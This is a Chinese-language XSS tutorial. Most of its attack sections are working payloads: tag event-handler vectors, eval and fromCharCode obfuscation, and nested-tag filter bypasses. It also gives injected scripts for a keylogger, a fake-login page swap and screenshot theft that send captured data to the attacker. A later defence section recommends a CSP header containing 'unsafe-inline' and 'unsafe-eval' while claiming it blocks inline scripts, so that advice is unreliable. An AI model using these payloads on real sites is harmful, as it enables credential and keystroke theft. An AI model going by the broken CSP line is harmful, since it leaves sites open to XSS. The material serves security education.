他山之石 | 对 XSS 的一次深入分析认识
字数 1526 2025-08-18 11:37:53
XSS攻击深入分析与防御技术教学文档
一、XSS攻击概述
XSS(跨站脚本攻击)是Web应用中最常见且持续存在的安全漏洞之一,攻击者通过在目标网站中注入恶意脚本,当其他用户访问该页面时,脚本会在用户浏览器中执行。
XSS攻击特点
- 长期存在且影响广泛
- 攻击方式多样,绕过技术不断演进
- 危害远超简单的弹窗演示
二、XSS攻击向量分析
1. 非常规标签Payload加载技术
(1) Body标签
<body onpageshow=alert(1)>
- 利用
onpageshow事件处理器 - 页面解析body元素时触发Payload
(2) Style标签
<style onload=alert(1) />
- 结合
onload事件触发
(3) Marquee标签
<marquee behavior="alternate" onstart=alert(1)>hack the planet</marquee>
<marquee loop="1" onfinish=alert(1)>hack the planet</marquee>
<marquee onstart=alert(1)>hack the planet</marquee>
- 支持多种事件处理器:
onbounce:内容滚动到边界时触发onfinish:完成loop属性设置值时触发onstart:内容开始滚动时触发
(4) Media标签(音频/视频)
<audio oncanplay=alert(1) src="/media/hack-the-planet.mp3" />
<video onloadedmetadata=alert(1) src="/media/hack-the-planet.mp4" />
- 可用事件处理器:
oncanplay:可开始播放时触发ondurationchange:时长变化时触发onended:播放结束时触发onloadeddata:数据帧加载时触发onloadedmetadata:元数据加载后触发onloadstart:开始寻找媒体时触发onprogress:下载媒体时触发onsuspend:读取数据中止时触发
三、XSS绕过技术
1. 黑名单绕过技术
(1) Eval与冗余符号组合
eval('~a~le~rt~~(~~1~~)~'.replace(/~/g, ''))
- 通过添加冗余符号(~)混淆
- 使用replace方法清除冗余符号
(2) 引号转义绕过
eval(/~a~le~rt~~(~~1~~)~/.source.replace(/~/g, new String()))
- 使用正则表达式避免引号
new String()替代空字符串
(3) String.fromCharCode方法
eval(String.fromCharCode(97,108,101,114,116,40,49,41))
- 将ASCII码转换为字符执行
2. Eval替代调用方法
(1) 变量间接调用
var x = eval; x('alert(1)')
(2) 括号间接调用
(1, eval)('alert(1)')
(3) call方法调用
eval.call(null, 'alert(1)')
(4) 新函数定义
function hackThePlanet () { alert(1) }
(5) Function构造函数
new Function('alert(1)')()
3. 输入过滤绕过技术
(1) 不安全样式删除机制利用
<sc<script>ript>alert(1)</sc</script>ript>
- 删除
<script>标签对后剩余有效Payload
- 删除
onerror后剩余有效属性
(2) 不安全样式替换机制利用
- 当
<script></script>被替换为NAUGHTY_HACKER时:
<script <script>>alert(1)</script </script>>
- 替换后形成:
<script NAUGHTY_HACKER>alert(1)</script NAUGHTY_HACKER>
- 浏览器会忽略无效属性但执行脚本
四、XSS高级攻击技术
1. 键盘记录器实现
document.addEventListener('keypress', function (event) {
var xhr = new XMLHttpRequest()
xhr.open('POST', '/keylogger')
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
xhr.send('data=' + event.key)
})
- 捕获用户按键并发送到攻击者服务器
2. DOM操纵钓鱼攻击
var dummyFormHtml = '伪造的登录表单HTML'
document.body.innerHTML = dummyFormHtml
// 添加上述键盘记录器代码
- 替换页面内容为伪造登录表单
- 结合键盘记录窃取凭证
3. 浏览器视图截图窃取
html2canvas(document.querySelector("body")).then(canvas => {
var xhr = new XMLHttpRequest()
xhr.open('POST', '/screenshot')
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
xhr.send('data=' + encodeURIComponent(canvas.toDataURL()))
});
- 使用html2canvas库捕获页面截图
- 将截图发送到攻击者服务器
五、XSS防御策略
1. 输入过滤最佳实践
- 采用白名单而非黑名单策略
- 实现递归过滤而非单次过滤
- 对特殊字符进行适当编码
2. 输出编码
- 根据上下文采用不同的编码方式:
- HTML实体编码
- JavaScript编码
- URL编码
- CSS编码
3. 内容安全策略(CSP)
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'
- 限制脚本来源
- 禁止内联脚本执行
4. HttpOnly Cookie标志
- 防止JavaScript访问敏感Cookie
5. 其他防御措施
- 使用X-XSS-Protection头
- 实施严格的同源策略
- 定期安全审计和渗透测试
六、实战测试资源
- 漏洞测试应用GitHub仓库:https://github.com/DigitalInterruption/vulnerable-xss-app
七、总结
XSS攻击技术不断演进,防御措施需要多层次、多角度实施。理解攻击原理是构建有效防御的基础,建议开发人员和安全工程师:
- 深入了解各种XSS攻击向量
- 实施严格的输入验证和输出编码
- 采用现代浏览器安全特性
- 定期更新和测试安全策略
- 对用户进行安全意识教育